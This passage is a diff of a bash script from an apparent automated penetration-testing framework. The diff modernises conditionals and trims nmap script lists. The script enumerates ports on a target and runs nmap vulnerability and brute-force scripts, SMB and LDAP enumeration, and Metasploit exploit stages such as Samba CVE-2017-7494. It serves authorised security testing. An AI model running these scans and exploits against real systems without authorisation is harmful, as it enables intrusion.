"${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -p 135 -v --script-timeout 90 --script=rpc*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port135.txt + nmap -A -p 135 -v --script-timeout 90 --script=rpc*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port135.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -532,24 +532,24 @@ else fi fi -if [ -z "$port_137" ]; +if [[ -z "$port_137" ]]; then echo -e "$OKRED + -- --=[Port 137 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 137 opened... running tests...$RESET" - if [ "$RPC_INFO" = "1" ]; then + if [[ "$RPC_INFO" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING RPCINFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" rpcinfo -p $TARGET | tee $LOOT_DIR/output/rpcinfo-$TARGET-port137.txt fi - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -p 137 -v --script-timeout 90 --script=broadcast-netbios-master-browser*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port137.txt + nmap -A -p 137 -v --script-timeout 90 --script=broadcast-netbios-master-browser*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port137.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -559,13 +559,13 @@ else fi fi -if [ -z "$port_139" ]; +if [[ -z "$port_139" ]]; then echo -e "$OKRED + -- --=[Port 139 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 139 opened... running tests...$RESET" SMB="1" - if [ "$SMB_ENUM" = "1" ]; then + if [[ "$SMB_ENUM" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING SMB ENUMERATION $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -573,13 +573,13 @@ else python $SAMRDUMP $TARGET | tee $LOOT_DIR/output/samrdump-$TARGET-port139.txt nbtscan $TARGET | tee $LOOT_DIR/output/nbtscan-$TARGET-port139.txt fi - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -p139 -v --script-timeout 90 --script=smb*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port139.txt + nmap -A -sV -p139 -v --script-timeout 90 --script=smb*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port139.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -589,18 +589,18 @@ else fi fi -if [ -z "$port_161" ]; +if [[ -z "$port_161" ]]; then echo -e "$OKRED + -- --=[Port 161 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 161 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -v --script-timeout 90 --script=/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners,/usr/share/nmap/scripts/snmp-hh3c-logins.nse,/usr/share/nmap/scripts/snmp-interfaces.nse,/usr/share/nmap/scripts/snmp-ios-config.nse,/usr/share/nmap/scripts/snmp-netstat.nse,/usr/share/nmap/scripts/snmp-processes.nse,/usr/share/nmap/scripts/snmp-sysdescr.nse,/usr/share/nmap/scripts/snmp-win32-services.nse,/usr/share/nmap/scripts/snmp-win32-shares.nse,/usr/share/nmap/scripts/snmp-win32-software.nse,/usr/share/nmap/scripts/snmp-win32-users.nse -sV -A -p 161 -sU -sT $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port161.txt + nmap -v --script-timeout 90 --script=/usr/share/nmap/scripts/vulners,/usr/share/nmap/scripts/snmp-hh3c-logins.nse,/usr/share/nmap/scripts/snmp-interfaces.nse,/usr/share/nmap/scripts/snmp-ios-config.nse,/usr/share/nmap/scripts/snmp-netstat.nse,/usr/share/nmap/scripts/snmp-processes.nse,/usr/share/nmap/scripts/snmp-sysdescr.nse,/usr/share/nmap/scripts/snmp-win32-services.nse,/usr/share/nmap/scripts/snmp-win32-shares.nse,/usr/share/nmap/scripts/snmp-win32-software.nse,/usr/share/nmap/scripts/snmp-win32-users.nse -sV -A -p 161 -sU -sT $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port161.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -610,18 +610,18 @@ else fi fi -if [ -z "$port_162" ]; +if [[ -z "$port_162" ]]; then echo -e "$OKRED + -- --=[Port 162 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 162 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -v --script-timeout 90 --script=/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners,/usr/share/nmap/scripts/snmp-hh3c-logins.nse,/usr/share/nmap/scripts/snmp-interfaces.nse,/usr/share/nmap/scripts/snmp-ios-config.nse,/usr/share/nmap/scripts/snmp-netstat.nse,/usr/share/nmap/scripts/snmp-processes.nse,/usr/share/nmap/scripts/snmp-sysdescr.nse,/usr/share/nmap/scripts/snmp-win32-services.nse,/usr/share/nmap/scripts/snmp-win32-shares.nse,/usr/share/nmap/scripts/snmp-win32-software.nse,/usr/share/nmap/scripts/snmp-win32-users.nse -sV -A -p 162 -sU -sT $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port162.txt + nmap -v --script-timeout 90 --script=/usr/share/nmap/scripts/vulners,/usr/share/nmap/scripts/snmp-hh3c-logins.nse,/usr/share/nmap/scripts/snmp-interfaces.nse,/usr/share/nmap/scripts/snmp-ios-config.nse,/usr/share/nmap/scripts/snmp-netstat.nse,/usr/share/nmap/scripts/snmp-processes.nse,/usr/share/nmap/scripts/snmp-sysdescr.nse,/usr/share/nmap/scripts/snmp-win32-services.nse,/usr/share/nmap/scripts/snmp-win32-shares.nse,/usr/share/nmap/scripts/snmp-win32-software.nse,/usr/share/nmap/scripts/snmp-win32-users.nse -sV -A -p 162 -sU -sT $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port162.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -631,13 +631,13 @@ else fi fi -if [ -z "$port_264" ]; +if [[ -z "$port_264" ]]; then echo -e "$OKRED + -- --=[Port 264 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 264 opened... running tests...$RESET" - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -647,16 +647,16 @@ else fi fi -if [ -z "$port_389" ]; +if [[ -z "$port_389" ]]; then echo -e "$OKRED + -- --=[Port 389 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 389 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -p 389 -Pn -v --script-timeout 90 --script=ldap*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port389.txt + nmap -A -p 389 -Pn -v --script-timeout 90 --script=ldap*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port389.txt fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING LDAP ANONYMOUS SEARCH QUERY $RESET" @@ -664,7 +664,7 @@ else ldapsearch -h $TARGET 389 -x -s base -b '' "(objectClass=*)" "*" + | tee $LOOT_DIR/output/ldapsearch-$TARGET-port389.txt fi -if [ -z "$port_443" ]; +if [[ -z "$port_443" ]]; then echo -e "$OKRED + -- --=[Port 443 closed... skipping.$RESET" else @@ -673,7 +673,7 @@ else echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VERBOSE" == "1" ]; then + if [[ "$VERBOSE" == "1" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null$RESET" echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null$RESET" fi @@ -695,7 +695,7 @@ else echo -e "$OKRED DISPLAYING SITE LINKS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" cat $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-https-$TARGET.txt 2> /dev/null - if [ "$WAFWOOF" = "1" ]; then + if [[ "$WAFWOOF" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING FOR WAF $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -704,7 +704,7 @@ else rm -f $LOOT_DIR/web/waf-$TARGET-https.raw 2> /dev/null echo "" fi - if [ "$WHATWEB" = "1" ]; then + if [[ "$WHATWEB" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING HTTP INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -712,7 +712,7 @@ else sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https.raw > $LOOT_DIR/web/whatweb-$TARGET-https.txt 2> /dev/null rm -f $LOOT_DIR/web/whatweb-$TARGET-https.raw 2> /dev/null fi - if [ "$WIG" = "1" ]; then + if [[ "$WIG" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING SERVER INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -720,27 +720,27 @@ else sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https > $LOOT_DIR/web/wig-$TARGET-https.txt 2> /dev/null rm -f $LOOT_DIR/web/wig-$TARGET-https 2> /dev/null fi - if [ "$WEBTECH" = "1" ]; then + if [[ "$WEBTECH" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" webtech -u https://$TARGET | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-https.txt fi - if [ "$NMAP_SCRIPTS" == "1" ]; then + if [[ "$NMAP_SCRIPTS" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP HTTP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -p 443 -v --script-timeout 90 --script=http-adobe-coldfusion-apsa1301,http-apache-server-status,http-aspnet-debug,http-auth-finder,http-auth,http-avaya-ipoffice-users,http-awstatstotals-exec,http-axis2-dir-traversal,http-backup-finder,http-barracuda-dir-traversal,http-bigip-cookie,http-brute,http-cakephp-version,http-chrono,http-config-backup,http-cookie-flags,http-cors,http-cross-domain-policy,http-csrf,http-date,http-default-accounts,http-devframework,http-dlink-backdoor,http-dombased-xss,http-domino-enum-passwords,http-drupal-enum-users,http-drupal-enum,http-errors,http-feed,http-fetch,http-fileupload-exploiter,http-form-brute,http-form-fuzzer,http-frontpage-login,http-generator,http-git,http-gitweb-projects-enum,http-google-malware,http-grep,http-headers,http-huawei-hg5xx-vuln,http-icloud-findmyiphone,http-icloud-sendmsg,http-iis-short-name-brute,http-iis-webdav-vuln,http-internal-ip-disclosure,http-joomla-brute,http-jsonp-detection,http-ls,http-majordomo2-dir-traversal,http-method-tamper,http-methods,http-mobileversion-checker,http-ntlm-info,http-open-proxy,http-open-redirect,http-passwd,http-php-version,http-phpmyadmin-dir-traversal,http-phpself-xss,http-proxy-brute,http-put,http-qnap-nas-info,http-rfi-spider,http-robots.txt,http-robtex-reverse-ip,http-robtex-shared-ns,http-security-headers,http-server-header,http-shellshock,http-sitemap-generator,http-sql-injection,http-stored-xss,http-svn-enum,http-svn-info,http-title,http-tplink-dir-traversal,http-trace,http-traceroute,http-trane-info,http-unsafe-output-escaping,http-userdir-enum,http-vhosts,http-virustotal,http-vlcstreamer-ls,http-vmware-path-vuln,http-vuln-cve2006-3392,http-vuln-cve2009-3960,http-vuln-cve2010-0738,http-vuln-cve2010-2861,http-vuln-cve2011-3192,http-vuln-cve2011-3368,http-vuln-cve2012-1823,http-vuln-cve2013-0156,http-vuln-cve2013-6786,http-vuln-cve2013-7091,http-vuln-cve2014-2126,http-vuln-cve2014-2127,http-vuln-cve2014-2128,http-vuln-cve2014-2129,http-vuln-cve2014-3704,http-vuln-cve2014-8877,http-vuln-cve2015-1427,http-vuln-cve2015-1635,http-vuln-cve2017-1001000,http-vuln-cve2017-5638,http-vuln-cve2017-5689,http-vuln-cve2017-8917,http-vuln-misfortune-cookie,http-vuln-wnr1000-creds,http-waf-detect,http-waf-fingerprint,http-webdav-scan,http-wordpress-brute,http-wordpress-enum,http-wordpress-users,http-xssed,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port443 + nmap -A -sV -Pn -p 443 -v --script-timeout 90 --script=http-adobe-coldfusion-apsa1301,http-apache-server-status,http-aspnet-debug,http-auth-finder,http-auth,http-avaya-ipoffice-users,http-awstatstotals-exec,http-axis2-dir-traversal,http-backup-finder,http-barracuda-dir-traversal,http-bigip-cookie,http-brute,http-cakephp-version,http-chrono,http-config-backup,http-cookie-flags,http-cors,http-cross-domain-policy,http-csrf,http-date,http-default-accounts,http-devframework,http-dlink-backdoor,http-dombased-xss,http-domino-enum-passwords,http-drupal-enum-users,http-drupal-enum,http-errors,http-feed,http-fetch,http-fileupload-exploiter,http-form-brute,http-form-fuzzer,http-frontpage-login,http-generator,http-git,http-gitweb-projects-enum,http-google-malware,http-grep,http-headers,http-huawei-hg5xx-vuln,http-icloud-findmyiphone,http-icloud-sendmsg,http-iis-short-name-brute,http-iis-webdav-vuln,http-internal-ip-disclosure,http-joomla-brute,http-jsonp-detection,http-ls,http-majordomo2-dir-traversal,http-method-tamper,http-methods,http-mobileversion-checker,http-ntlm-info,http-open-proxy,http-open-redirect,http-passwd,http-php-version,http-phpmyadmin-dir-traversal,http-phpself-xss,http-proxy-brute,http-put,http-qnap-nas-info,http-rfi-spider,http-robots.txt,http-robtex-reverse-ip,http-robtex-shared-ns,http-security-headers,http-server-header,http-shellshock,http-sitemap-generator,http-sql-injection,http-stored-xss,http-svn-enum,http-svn-info,http-title,http-tplink-dir-traversal,http-trace,http-traceroute,http-trane-info,http-unsafe-output-escaping,http-userdir-enum,http-vhosts,http-virustotal,http-vlcstreamer-ls,http-vmware-path-vuln,http-vuln-cve2006-3392,http-vuln-cve2009-3960,http-vuln-cve2010-0738,http-vuln-cve2010-2861,http-vuln-cve2011-3192,http-vuln-cve2011-3368,http-vuln-cve2012-1823,http-vuln-cve2013-0156,http-vuln-cve2013-6786,http-vuln-cve2013-7091,http-vuln-cve2014-2126,http-vuln-cve2014-2127,http-vuln-cve2014-2128,http-vuln-cve2014-2129,http-vuln-cve2014-3704,http-vuln-cve2014-8877,http-vuln-cve2015-1427,http-vuln-cve2015-1635,http-vuln-cve2017-1001000,http-vuln-cve2017-5638,http-vuln-cve2017-5689,http-vuln-cve2017-8917,http-vuln-misfortune-cookie,http-vuln-wnr1000-creds,http-waf-detect,http-waf-fingerprint,http-webdav-scan,http-wordpress-brute,http-wordpress-enum,http-wordpress-users,http-xssed,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port443 sed -r "s/ /dev/null > $LOOT_DIR/output/nmap-$TARGET-port443.txt 2> /dev/null rm -f $LOOT_DIR/output/nmap-$TARGET-port443 2> /dev/null fi echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SCANNING FOR VIRTUAL HOSTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$VHOSTS" == "1" ]; then + if [[ "$VHOSTS" == "1" ]]; then gobuster vhost -u https://$TARGET -w $INSTALL_DIR/wordlists/vhosts.txt -o $LOOT_DIR/osint/vhosts-https-$TARGET.txt 2> /dev/null fi - if [ "$SSL" = "1" ]; then + if [[ "$SSL" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -752,14 +752,14 @@ else echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SAVING SCREENSHOTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ $DISTRO == "blackarch" ]; then + if [[ $DISTRO == "blackarch" ]]; then /bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null else cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null fi echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port443.jpg" - if [ $WEBSCREENSHOT = "1" ]; then + if [[ $WEBSCREENSHOT = "1" ]]; then cd $LOOT_DIR python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:443 fi @@ -767,13 +767,13 @@ else source $INSTALL_DIR/modes/osint_stage_2.sh fi -if [ -z "$port_445" ]; then +if [[ -z "$port_445" ]]; then echo -e "$OKRED + -- --=[Port 445 closed... skipping.$RESET" -elif [ $SMB = "1" ]; then +elif [[ $SMB = "1" ]]; then echo -e "$OKRED + -- --=[Port 445 scanned... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 445 opened... running tests...$RESET" - if [ "$SMB_ENUM" = "1" ]; then + if [[ "$SMB_ENUM" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED ENUMERATING SMB/NETBIOS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -781,13 +781,13 @@ else python $SAMRDUMP $TARGET | tee $LOOT_DIR/output/samrdump-$TARGET-port445.txt nbtscan $TARGET | tee $LOOT_DIR/output/nbtscan-$TARGET-port445.txt fi - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -p445 -v --script-timeout 90 --script=smb*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port445.txt + nmap -A -sV -Pn -p445 -v --script-timeout 90 --script=smb*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port445.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -795,7 +795,7 @@ else sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port445.raw > $LOOT_DIR/output/msf-$TARGET-port445.txt 2> /dev/null rm -f $LOOT_DIR/output/msf-$TARGET-port445.raw 2> /dev/null fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING SAMBA ARBITRARY MODULE LOAD CVE-2017-7494 $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -805,12 +805,12 @@ else fi fi -if [ -z "$port_500" ]; +if [[ -z "$port_500" ]]; then echo -e "$OKRED + -- --=[Port 500 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 500 opened... running tests...$RESET" - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING CISCO IKE KEY DISCLOSURE EXPLOIT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -820,60 +820,60 @@ else fi fi -if [ -z "$port_512" ]; +if [[ -z "$port_512" ]]; then echo -e "$OKRED + -- --=[Port 512 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 512 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -p 512 -v --script-timeout 90 --script=rexec*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port512.txt + nmap -A -sV -Pn -p 512 -v --script-timeout 90 --script=rexec*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port512.txt fi fi -if [ -z "$port_513" ] +if [[ -z "$port_513" ]]; then echo -e "$OKRED + -- --=[Port 513 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 513 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e 